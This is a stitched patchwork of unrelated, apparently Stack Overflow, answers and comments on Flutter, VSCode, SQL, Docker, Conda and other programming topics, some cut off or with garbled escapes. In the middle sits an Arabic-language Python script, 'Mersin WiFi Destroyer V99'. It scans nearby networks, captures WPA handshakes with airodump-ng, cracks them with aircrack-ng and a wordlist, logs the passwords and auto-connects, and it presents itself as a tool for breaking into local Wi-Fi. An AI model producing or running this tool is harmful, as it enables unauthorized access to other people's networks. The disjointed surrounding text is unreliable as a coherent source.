After reviewing my code, I realize that I had an unused parent widget which was causing the issue.
GestureDetector(
onTap: () => FocusScope.of(context).unfocus(),
...
// GoogleSignInButton() is placed as a children of GestureDetector
...
)
By removing the GestureDetector, it no longer rebuilds on tapping/unfocus, thus the twitching is gone! Thank you @Niyam Prassanna Kunder for the heads up.
I'm having this problem in 2025. I found a solution. I'm not sure if this applies to OP or anyone else here, but just in case, here was my solution.
I'm using an Animator and I'm swapping the runtimeAnimatorController to play different animations. I have a Coroutine that detects when the animation has ended and handles it differently based on certain contexts. For some reason, this one animation was just looping instead of its end being properly detected by my Coroutine.
To fix this, I opened the AnimatorController in question, selected the animation in question, and changed its "Exit Time" to greater than 1.0. It couldn't detect when "normalizedTime" was greater than 1.0 because it never was!
If VSCode is not autocompleting or underlining errors, it usually means that the editor is not recognising the programming environment correctly. Here is a detailed explanation to help others understand why this happens and how to fix it.
Check the file type
Make sure your file has the correct extension, such as .py for Python, .js for JavaScript, or .ts for TypeScript. The language mode in the bottom-right corner of VSCode should match your file type. If it does not, click it and select the correct language.
Install the correct extension
VSCode relies on extensions for autocomplete and error checking. For example:
Python requires the Python extension by Microsoft.
JavaScript and TypeScript usually work out of the box, but installing ESLint can help detect errors.
C# requires the C# extension by Microsoft.
Open the Command Palette (Ctrl+Shift+P)
Run Python: Select Interpreter and choose the correct Python version
Enable linting with Python: Enable Linting
Check VSCode settings
Go to Settings, then Text Editor, then Suggestions. Ensure that autocomplete is enabled. Also check that linting is turned on if the language supports it.
Verify your environment
Some languages require a specific environment, such as a Python virtual environment or Node.js workspace. Make sure VSCode is using the correct interpreter and that project dependencies are installed.
Reload or restart VSCode
Changes sometimes only take effect after reloading the window (Ctrl+Shift+P, then Reload Window) or restarting the editor.
Check the output panel
Go to View, then Output, and select the relevant language server, such as Pylance or TypeScript. Any errors shown here can explain why autocomplete or linting is not working.
In summary, if VSCode is not autocompleting or underlining errors, the problem is usually caused by missing extensions, incorrect configuration, or an unrecognised environment. Ensuring the correct file type, installing the right extensions, selecting the appropriate interpreter, enabling linting, and restarting VSCode generally resolves the issue.
In summary, if VSCode is not autocompleting or underling errors, the problem is usually
caused by missing extensions, incorrect configuration, or an unrecognised environment.
Ensuring the correct file type, installing the right extensions, selecting the appropriate
interpreter, enabling linting, and restarting VSCode generally resolves the issue.
you could create minal example data so we could use it for tests.
@Panda-Kim I stand corrected! I was thinking of how math operations like + automatically align regardless of order, but apparently comparisons like == don't do that. I'm not sure what the rationale is. Using the method version like .eq() does in fact get around that.
Have you tried to do add a timedelta wall-clock time, which would allow DST rollback.(15 minutes local time may equal 75 minutes real time). I believe that will then get you the exact elapsed time converted to UTC before adding the timedelta.
Based on this DJI support article looks like this is not possible as MP4 does not store temp data:
https://support.dji.com/help/content?customId=en-us03400003955&spaceId=34&re=US&lang=en&documentType=artical&paperDocType=paper
Yes @Arun it exist and it's called "IMPORT" mode in schema registry.
Go to your local terminal (here I'm using linux terminal)
Switch to the IMPORT mode
curl -XPUT -u "$API_KEY:$API_SECRET" -H "Content-Type: application/vnd.schemaregistry.v1+json" --data '{"mode":"IMPORT"}' YOUR_SCHEMA_REGISTRY_ENDPOINT/mode
Then create your Schema attached to your target Subject and version:
curl -XPOST -u "$API_KEY:$API_SECRET" -H "Content-Type: application/json" --data '{"schemaType": "AVRO","version": 1,"id": 55,"schema": "{\"type\":\"record\",\"name\":\"User\",\"namespace\":\"io.confluent\",\"fields\":[{\"name\":\"name\",\"type\":\"string\"}]}"}' YOUR__SCHEMA_REGISTRY_ENDPOINT /subjects/user-value/versions
# Source - https://stackoverflow.com/q
# Posted by sebastian_t, modified by community. See post 'Timeline' for change history
# Retrieved 2025-11-07, License - CC BY-SA 4.0
openssl pkcs12 -export -in user.pem -inkey user.key -certfile user.pem -out testkeystore.p12
keytool -importkeystore -srckeystore testkeystore.p12 -srcstoretype pkcs12 -destkeystore wso2carbon.jks -deststoretype JKS
add this attribute in your Bottom navigation element
app:labelVisibilityMode="unlabeled"
This works for me btw, but the upper answer works as well
What is it your planning to do with these artifacts later? There are just raw files from your git repo? so how are you using them later? and what for? Since they are not computed, compiled or built you could just access these directly from the git repo anyway.
With List(selection:) on macOS, you cannot deselect a row by clicking it a second time. The macOS selection model does not toggle selection on a single click.
What does work natively is Cmd-click on the selected row, which clears the selection (selectedItem = nil).
I ran into the same issue — List(selection:) won’t.onTapGesture) andselectedItem = nil when the ta
Turned out, that middleware is perfectly fine. Deploying stuff to Digital Ocean droplet I've missed to configure Nginx server correctly. On top of its configuration I've had
# Redirect root to default locale
# location = / {
# return 302 /en;
# }
So just removing that line fixed the issue and site works as expected. So always check server conf facing discrepancies between local and prod.
Restore from backups on to a new, larger ZFS instance? You do have real backups for this data, and you're not relying on RAID as a backup?
It seems the correct URL is https://proxy.golang.org/github.com/google/oss-rebuild/@v/v0.0.0-20251008203231-2e9e242ca650.zip (replace @latest with @v).
This proves that GOPROXY does cache untagged commits too.
It's actually very easy to implement a double linked list in erlang .. you just use maps and insert items like this: {key, value, prev_key, next_key}.
When you insert in between you untie two items by picking the previous next_key and pointing to the inserted item key, and doing the same with the following prev_key . The inserted item prev/next point to the just described neighbours.
Keys can be generated internally and be as simple as progressive integers (they have no purpose, but to have a reference to look up in the map).
To answer other asking why one would need doubly linked list: LRU caches just to say?
I understand now, thanks for the advice! I think in my case, partitioning definitely works the best! For the existing table, seems like only one downtime for rebuilding the clustered index once after creating all the necessary partition functions for future dates. I think I can deal with syncing schema changes with archive tables! I do agree it is not worth it to use an availabiltiy group just for this. Even if there is more purpose (like reporting), using partition still result in less downtime in long term I think.
This doesn't seek to answer the question, so much as the need: (mainframe) load the page in a new tab, and clear cache (eg hard refresh)
... does this help anyone at all?
I developed an extension for this. Enjoy it.
Sorry I was still trying to think through how to do so by partitioning. I definetly can change it to not be a sliding window. I imagine in this case, I (or a program) should create partitions for future date in advance on those tables then? For availability group, I thought the archiving program can read from the reqadable secondary to write to the CSV instead of reading from primary, so for the primary database the archiving program just need to do the delete query (so it kinda helped by not needing to select a bunch of data first?)
Make sure to leave the maximum number of connections empty (both). Solved the problem for me. KR
This blog post and discussion in the comments may be helpful. https://communities.sas.com/t5/Administration-and-Deployment/SAS-ACCESS-to-Snowflake-s-MFA-Mandate-A-Step-by-Step-Guide-to/m-p/978416
In my installation of Python 3.14, turtle.Turtle() does take the shape keyword argument. But from the comments on this question, it seems that some versions of the class do not, so I suppose yours does, and the version on tinker.io does not take the argument. You'll have to use the shape() method for better portability, I suppose.
Oh that's good to know. Somehow when I was doing my research I get to the conclusion that this method is Enterprise only. Would you suggest us doing so for archiving since it is available?
ALTER TABLE ... SWITCH on its own does not require Enterprise Edition (neither has partitioning in general, since 2016 SP1). https://kendralittle.com/2017/01/19/why-you-should-switch-in-staging-tables-instead-of-renaming/ & https://kendralittle.com/course/tuning-problem-queries-in-table-partitioning/ Also see here for some other options and info: https://stackoverflow.com/a/69224284
Just advise. (I guess you run ok locally without docker - mean paths are correct - upstream downstream)
Why you use Developmnet running in docker ? Use Production.json
Normally Dev you run on host without docker using localhost. (Naming doesn't really matter)
When running in docker replace in ocelot json Host - set container name.
ReRoutes instead of Routes (Routes is used with any service discovery like Consul etc)
BaseUrl should use host.docker.internal, not localhost
Check that you run in one network (all containers)
Install in docker container tab Exec something like curl to check if you see other containers/
apt-get update
apt-get install -y curl
curl http://service name:port../api/.... - just call your other service - should get response
use just ping
apt-get install -y iputils-ping
docker exec servicename1 ping servicename2 -c2
PS I'm stuck with ocelot too in docker - I can call other services (containers) but through Ocelot getting the same error.
You do not need a custom converter for this case
System Text Json already supports ignoring properties that should not be written
The important detail is that an empty string is not considered a default value
So you need to explicitly define when the property should be written
A simple way is to add a ShouldSerialize pattern to your class
The serializer will only include the property if that method returns true
Example idea without full code
Define your string property like normal
Add a method named ShouldSerializeStringProp that returns false if the string is empty
During serialization the property will be skipped and the JSON remains valid
If you are configuring JsonSerializerOptions globally you can also use
DefaultIgnoreCondition set to WhenWritingDefault
but then make sure the empty string is treated as a default value in your model
Either of these approaches will give you valid JSON without the unwanted property when it has an empty value
Just to comment on your advice tags: generally, in the scrumboard/kanban (not backlog), you usually want one state per column, so should regularly not be sorting this way. But, of course, you can setup process states with the work item level states like you are describing. Something you may want to look at are the process settings at the organization-level. Usually, per work item type, there are three different groupings that a state can be in. These may help the default sort order.
After much help from @JonasMetzler and @DaleK, the following query worked for Snowflake.
My goal was to get all contacts to display on one row instead of multiple rows for each person_key.
SELECT
p.PERSON_KEY AS "KEY",
p.PERSON_NAME AS "Person Name",
MAX(CASE WHEN c.CONTACT_PRIORITY_ORDER = 1 THEN c.CONTACT_FIRST_NAME END) AS "First Contact First Name",
MAX(CASE WHEN c.CONTACT_PRIORITY_ORDER = 2 THEN c.CONTACT_FIRST_NAME END) AS "Second Contact First Name",
MAX(CASE WHEN c.CONTACT_PRIORITY_ORDER = 3 THEN c.CONTACT_FIRST_NAME END) AS "Third Contact First Name"
FROM DTBL_PERSON p
LEFT JOIN MTBL_CONTACTS c
ON p.PERSON_KEY = c.PERSON_KEY
GROUP BY p.PERSON_KEY, p.PERSON_NAME
ORDER BY p.PERSON_KEY;
Because there are multiple contacts attached to each key, I added the contact priority order to identify each which of the contacts should be selected. Then the max function looks at the row and selects the non null value for each column. The group by then identifies how each selection is grouped and delivers the desired single row for each piece of information.
This mainly happens because some browsers do detect if a webpage with the same TLD name exists in your current session and reload the new URL in the same tab.
I have never seen a single browser that does that. It sounds nightmarish.
If I visit app1.domain.com and then also try to open app2.domain.com, it would just open it in the first tab?
Or if it only works for the same origin - then I cannot open two questions from Stack Overflow?
Wow this is a very key problem to detect infiltrated users sabotaging channels that hide in the anonymity.
I'm surprised you haven't gotten an answer.
The issue is that https://www.googleapis.com/auth/gmail.send scope only works with the Gmail API, not SMTP. For SMTP OAuth2, you need https://mail.google.com/ scope.
I found what appears to be the correct Authoring REST API documentation (as of 06 November 2025):
https://learn.microsoft.com/en-us/rest/api/language/analyze-conversations-authoring/operation-groups?view=rest-language-analyze-conversations-authoring-2025-11-01
And I found it from this page (Azure AI Language REST API reference):
https://learn.microsoft.com/en-us/rest/api/language/
Here is one example (found on the Authoring API sub-pages):
Source: https://learn.microsoft.com/en-us/rest/api/language/analyze-conversations-authoring/conversation-authoring-trained-model/delete-trained-model?view=rest-language-analyze-conversations-authoring-2025-11-01&tabs=HTTP#code-try-0
DELETE {Endpoint}/language/authoring/analyze-conversations/projects/{projectName}/models/{trainedModelLabel}?api-version=2025-11-01
Tabled excerpted from the above link:
| Name | Type | Description |
|---|---|---|
| 204 No Content | There is no content to send for this request, but the headers may be useful. | |
| Other Status Codes | Azure.Core.Foundations.ErrorResponse | An unexpected error response. Headers: x-ms-error-code: string |
Using a Logitec 105-key (Windows) keyboard with a MacMini, I eventually found a combination that worked with my custom key mapping: Windows-key + Alt + X
Sure @Duck -- where should I share my feedback?
To easily change the date or time of any commit, you can use this open source tool: https://github.com/arbaev/commit-date-changer
# mersin_wifi_destroyer_v99.py
# التطبيق الرسمي لأهل مرسين – نوفمبر 2025
# المبرمج: السوري 🔥
import subprocess
import threading
import queue
import time
import os
import re
import sys
from colorama import init, Fore, Style
init(autoreset=True)
R = Fore.RED + Style.BRIGHT
G = Fore.GREEN + Style.BRIGHT
Y = Fore.YELLOW + Style.BRIGHT
C = Fore.CYAN + Style.BRIGHT
M = Fore.MAGENTA + Style.BRIGHT
W = Fore.WHITE + Style.BRIGHT
print(f"""{R}
███╗ ███╗███████╗██████╗ ███████╗██╗███╗ ██╗ ██╗ ██╗██╗███████╗██╗
████╗ ████║██╔════╝██╔══██╗██╔════╝██║████╗ ██║ ██║ ██║██║██╔════╝██║
██╔████╔██║█████╗ ██████╔╝███████╗██║██╔██╗ ██║ ██║ █╗ ██║██║█████╗ ██║
██║╚██╔╝██║██╔══╝ ██╔══██╗╚════██║██║██║╚██╗██║ ██║███╗██║██║██╔══╝ ╚═╝
██║ ╚═╝ ██║███████╗██║ ██║███████║██║██║ ╚████║ ╚███╔███╔╝██║██║ ██╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═╝╚═╝ ╚═══╝ ╚══╝╚══╝ ╚═╝╚═╝ ╚═╝
{M}MERSIN WIFI DESTROYER V99 - السوري 🔥
""")
class MersinDestroyer:
def \__init_\_(self):
self.interface = "wlan0" if os.name != "nt" else "Wi-Fi"
self.networks = \[\]
self.found = False
self.queue = queue.Queue()
self.wordlist = "/usr/share/wordlists/rockyou.txt" # كالي
if not os.path.exists(self.wordlist):
self.wordlist = "rockyou.txt" # تيرمكس أو ويندوز
def banner(self):
print(f"{C}╔{'═'\*70}╗")
print(f"{C}║{W} مرسين 09:46 PM – الشبح الرقمي V99 مفعّل – لا قيود لا رحمة {C}║")
print(f"{C}╚{'═'\*70}╝\\n")
def scan_networks(self):
print(f"{Y}\[+\] جاري مسح الشبكات في مرسين...")
try:
if os.name == "nt": # ويندوز
result = subprocess.check_output("netsh wlan show networks mode=bssid", shell=True, text=True, encoding="utf-8", errors="ignore")
networks = re.findall(r"SSID\\s+\\d+\\s+:\\s+(.+?)\\n.\*?BSSID\\s+\\d+\\s+:\\s+(\[0-9A-F:\]{17})", result, re.DOTALL)
else: # لينكس / تيرمكس
subprocess.run("sudo iwlist wlan0 scan \> /dev/null 2\>&1", shell=True)
result = subprocess.check_output("sudo iwlist wlan0 scan", shell=True, text=True)
networks = re.findall(r"ESSID:\\"(.\*?)\\".\*?Address: (\[0-9A-F:\]{17})", result)
self.networks = \[{"ssid": ssid, "bssid": bssid} for ssid, bssid in networks if ssid.strip()\]
print(f"{G}\[+\] تم اكتشاف {len(self.networks)} شبكة حولك في مرسين:")
for i, net in enumerate(self.networks):
print(f"{C} \[{i+1}\] {W}{net\['ssid'\]} {Y}({net\['bssid'\]})")
except Exception as e:
print(f"{R}\[-\] فشل المسح: {e}")
def handshake_capture(self, bssid, channel):
print(f"{Y}\[+\] التقاط الهاندشيك لـ {bssid}...")
os.system(f"sudo timeout 30 airodump-ng -c {channel} --bssid {bssid} -w mersin_handshake wlan0mon")
def crack_wpa(self, ssid, bssid):
print(f"{R}\[!\] بدء كسر {ssid} بقوة الجحيم...")
cmd = f"aircrack-ng -w {self.wordlist} -b {bssid} mersin_handshake\*.cap"
result = subprocess.run(cmd, shell=True, text=True, capture_output=True)
if "KEY FOUND" in result.stdout:
password = re.search(r"\\\[ (.\*?) \\\]", result.stdout).group(1)
print(f"\\n{G}╔{'═'\*70}╗")
print(f"{G}║ تم كسر الشبكة يا أسد مرسين! ║")
print(f"{G}║ الشبكة: {W}{ssid:\<30}{G} ║")
print(f"{G}║ كلمة المرور: {W}{password:\<25}{G} ║")
print(f"{G}╚{'═'\*70}╝\\n")
with open("MERSIN_CRACKED.txt", "a", encoding="utf-8") as f:
f.write(f"{ssid}:{password}\\n")
\# اتصال تلقائي
os.system(f'nmcli dev wifi connect "{ssid}" password "{password}"')
self.found = True
return password
return None
def auto_attack(self):
self.scan_networks()
if not self.networks:
return
target = int(input(f"\\n{Y}\[?\] اختر رقم الشبكة للإبادة: {W}")) - 1
ssid = self.networks\[target\]\['ssid'\]
bssid = self.networks\[target\]\['bssid'\]
print(f"{R}\[!\] الهدف: {ssid} – مرسين هتنهيها دلوقتي...")
\# تفعيل وضع المونيتور
os.system("sudo airmon-ng start wlan0")
\# جلب القناة
os.system(f"sudo airodump-ng wlan0mon -d {bssid} -c 1-13 \> channel.txt & sleep 10; kill $!")
time.sleep(12)
try:
with open("channel.txt") as f:
channel = re.search(r"CH\\s+(\\d+)", f.read()).group(1)
except:
channel = "6"
\# التقاط الهاندشيك
capture_thread = threading.Thread(target=self.handshake_capture, args=(bssid, channel))
capture_thread.start()
time.sleep(35)
capture_thread.join()
\# كسر
self.crack_wpa(ssid, bssid)
\# إيقاف المونيتور
os.system("sudo airmon-ng stop wlan0mon")
if self.found:
print(f"{G}\[+\] السوري كسر الشبكة ودخلها من مرسين! 🔥")
else:
print(f"{R}\[!\] ما انكسرتش... بس بنرجع بـ 100 أداة أقوى!")
# تشغيل الجحيم
if _name_ == "_main_":
os.system("clear" if os.name != "nt" else "cls")
os.system("title مرسين WiFi Destroyer V99 - السوري")
if os.geteuid() != 0 and os.name != "nt":
print(f"{R}\[-\] شغّل الأداة بـ sudo يا زلمة!")
sys.exit()
destroyer = MersinDestroyer()
destroyer.banner()
destroyer.auto_attack()
input(f"\\n{Y}\[\*\] خلصنا... اضغط Enter وروح اشرب شاي يا ملك مرسين 🔥")
There isn't an agnostic answer to this question since it totally depends on your browser (default browser). This mainly happens because some browsers do detect if a webpage with the same TLD name exists in your current session and reload the new URL in the same tab. I would love to see if you could programmatically enforce such a behavior
Just accept the new terms and agreements on your app store connect or developer account and it will work just fine.
Same problem Here: https://github.com/expo/eas-cli/issues/880
Is your question "why is it like this", or is your question "How can I achieve X"? Your title says one thing (for which the "advice" category you chose is the correct one) but the body of the post then asks something different. Perhaps you actually need two different posts - a new one to solve your specific problem, and this one to have a discussion about the design of the feature in Laravel?
email type inputs don't really need an explicit pattern as they are validated by most modern browsers. However, the rules might not be to your liking. For example: the at least 2 characters after the trailing dot {2,} is not a requirement on Firefox at least. In such cases you might use the pattern attr.
Your pattern is slightly wrong in that you have not escaped the literal -. This leads the pattern analyzer astray. I have added the necessary escapes in my snippet and it seems to work as expected.
Cheers
input {
display: block;
margin-bottom: 0.5rem;
}
input:invalid {
background-color: ivory;
border: transparent;
outline: 2px solid red;
}
<form>
<input type="email" required placeholder="no pattern email" />
<input type="email" required pattern="[a-z0-9._%+\-]+@[a-z0-9.\-]+\.[a-z]{2,}$" placeholder="pattern email" />
<input type="password" required minlength="8" placeholder="password"/>
<button type="submit">Register</button>
</form>
This was a simple fix. the s3 file needed to be tar.gz as required by sagemaker
When a Kustomization or HelmRelease is being reconciled in a namespace other than the namespace where flux is installed, the reconciliation will run under the gotk:<NAMESPACE>:reconciler user. If the user doesn't exists or if the objects being reconciled don't belong to that namespace, the reconcilers will not be able to apply the tenant's sources on the cluster.
# Source - How to do a math equation using y = x^2 with range to print multiple outputs
# Posted by Netwave
# Retrieved 2025-11-06, License - CC BY-SA 3.0
\>>> import itertools
\>>> list(itertools.imap(lambda x, y: (x ** 2)/y, xrange(1, 1001), xrange(1, 1001)))
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721, 722, 723, 724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999,
1000]
Are you a managed account ? Do you have dedicated AE (Account Exec) or Sales Specialist ? Just send them the Support ID and let them know that you want to escalate this issue as it's impacting you business at it already took ~6 months
I had this issue but all of the previous solutions in this question did not work. I found that on Windows 11 doing a custom Python install the PYTHONPATH env variable had not been set. Creating and setting up the PYTHONPATH variable, and then restarting terminals fixed the same issue for me.
For anybody in 2025:
conda deactivate
This will deactivate (base) environment.
As of Anaconda Distribution 2025.06, an
uninstaller.shscript is available to help you remove Anaconda Distribution from your system.https://www.anaconda.com/docs/getting-started/anaconda/uninstall#macos-or-linux
~/anaconda3/uninstall.sh
This will remove all packages and miniconda itself.
methods :
messages.HideAllChatJoinRequestsRequest
or
messages.HideChatJoinRequestRequest
Does anyone have any updates on this? I'm encountering the exact same problem, but I haven't found a solution on oracle. I'd like a query that returns the first unlocked row.
This UI doesn't allow to write an answer due to unknown reason...
// Source - https://stackoverflow.com/questions/71771950/android-10-vivo-funtouch-os-killed-my-foreground-service-on-swipe
// Posted by Ahsan Ali
// Retrieved 2025-11-06, License - CC BY-SA 4.0
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<service android:name=".service.MyService"
/>
I found one github-action-repo-settings-sync actions that allow it:
name: Repo Setup
on:
push:
branches:
- master
schedule:
- cron: 0 0 * * *
jobs:
repo_setup:
runs-on: ubuntu-latest
steps:
- name: Repo Setup
uses: kbrashears5/[email protected]
with:
REPOSITORIES: |
kbrashears5/github-action-repo-settings-sync
ALLOW_ISSUES: 'true'
ALLOW_PROJECTS: 'true'
ALLOW_WIKI: 'true'
SQUASH_MERGE: 'true'
MERGE_COMMIT: 'true'
REBASE_MERGE: 'true'
AUTO_MERGE: 'false'
DELETE_HEAD: 'false'
BRANCH_PROTECTION_ENABLED: 'true'
BRANCH_PROTECTION_NAME: 'main'
BRANCH_PROTECTION_REQUIRED_REVIEWERS: '1'
BRANCH_PROTECTION_DISMISS: 'true'
BRANCH_PROTECTION_CODE_OWNERS: 'true'
BRANCH_PROTECTION_ENFORCE_ADMINS: 'false'
TOKEN: ${{ secrets.ACTIONS }}
Best single or multy select dropdown
Couldn't find a native way, but this works.
Add your negative lookahead and then add a newline (SHIFT + ENTER)
This shows me all .html files which do not have the string style.css"
You jsut need to make the output of the tally method wide:
df_summary_wide <- df %>% group_by(sex, car_owned) %>% tally() %>%
pivot_wider(names_from = car_owned, values_from = n)
Thanks for the answers.
Unfortunately, I already know all that. I also get the centroids with nettopology. I'm looking for the center of mass. But in my opinion, both polygons are convex. Therefore, I don't understand why one is inside and the other outside...
To easily change the date or time of any commit, you can use this open source tool: https://github.com/arbaev/commit-date-changer
from pyspark.sql.functions import date_format
df = df.withColumn("year_month",date_format(df['Ddate'],"yyyyMM"))
I have the same problem. Been trying to connect with tekla on my application made in .net 4.8, x64 it used to work but I installed the nugget packages and since then I had problems. I have been trying to remove every nugget package and connect to the dll's who are in the tekla structures/<versions>/bin/ folder. But it doesn't help.
The things the comment above your old boot function say go in there (model bindings, pattern filters) seem to go into the boot function in the App\Providers\AppServiceProvider class in Laravel 12 (see https://laravel.com/docs/12.x/routing#parameters-global-constraints and https://laravel.com/docs/12.x/routing#explicit-binding ). Maybe you can access the .env values from there?
Think you find that when you run from Xcode it using the schema of the "extension" change to the app name schema and the error goes
In my case, I could not downgrade to a 3.x version of integration services because my existing solutions did not support it. The key is to install the "BI Developer Extensions" (formerly BIDS Helper)". After installing it I was then able to see the biml commands in right click menus (such as "add new biml file", "expand biml file").
Confirmed this works with:
Visual Studio 2019 pro - 16.11.50
SQL Server Integration Services Projects - 4.6
BimlExpress - 2019 R1
The warning isn’t from ESLint — it’s from TypeScript’s type hints in Eclipse.
Add // @ts-ignore above the document.execCommand("copy"); line to silence it.
That’ll remove the deprecation warning without disabling validation globally.
Package "pracma" contains an implementation: https://search.r-project.org/CRAN/refmans/pracma/html/invlap.html
I'm not familiar with the exact syntax of how the protocol of mcp works but after a quick google, it looks to just be just simple post requests to the server. You should be able to just use the requests package in place of the mcp package to do make a wraper.
The post doesn't include enough details, and it's unclear why it constains the google-apps-script tag.
What do you mean by "receives data input externally"?
Is the data input appended as new rows?
What triggers the HTTP request? Is there any chance that a request occurs at the same time as the spreadsheet receiving data input?
FPDI does not support.
I use ghostscript in linux and use shell_exec to execute and merge pdfs:
<?php
$command = "gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=combined.pdf -dBATCH file1.pdf file2.pdf";
shell_exec($command);
?>
I found the sandbox account, But it's disable why?
Wow. My issue was almost the opposite. By default it used h264.. switched to h265 and worked, so thank you, friend! :)
This is quite old question, but adding my observation if anyone still checking for the details on graceful shutdown in spring boot.
In spring boot version 3.4+ , graceful shutdown is enabled by default for all four embedded web servers(i.e: Jetty, Reactor Netty, Tomcat, and Undertow). You can refer this spring boot doc for further details https://docs.spring.io/spring-boot/3.4/reference/web/graceful-shutdown.html
We have the same problem on all our environments. It Happened when the viewer try to fetch the Manifest.
Autodesk server response is:
diagnostic "Not Found"
It works on new translations, not on oldest (more than 2 days).
We also need help.
Issue source has been identified as isGlobalISelAbortEnabled being set to disabled for some reason, even though it is initially and by default true. This leads to a fallback SelDAG setup attempt, which is where I (rightfully) crash. Manually enabling this when PassConfig is created resolves this. Still unclear as to why, but it works.
To enable the restore action for service principals within your custom role, add the Microsoft.Directory/servicePrincipals/restore action to the allowedResourceActions list.
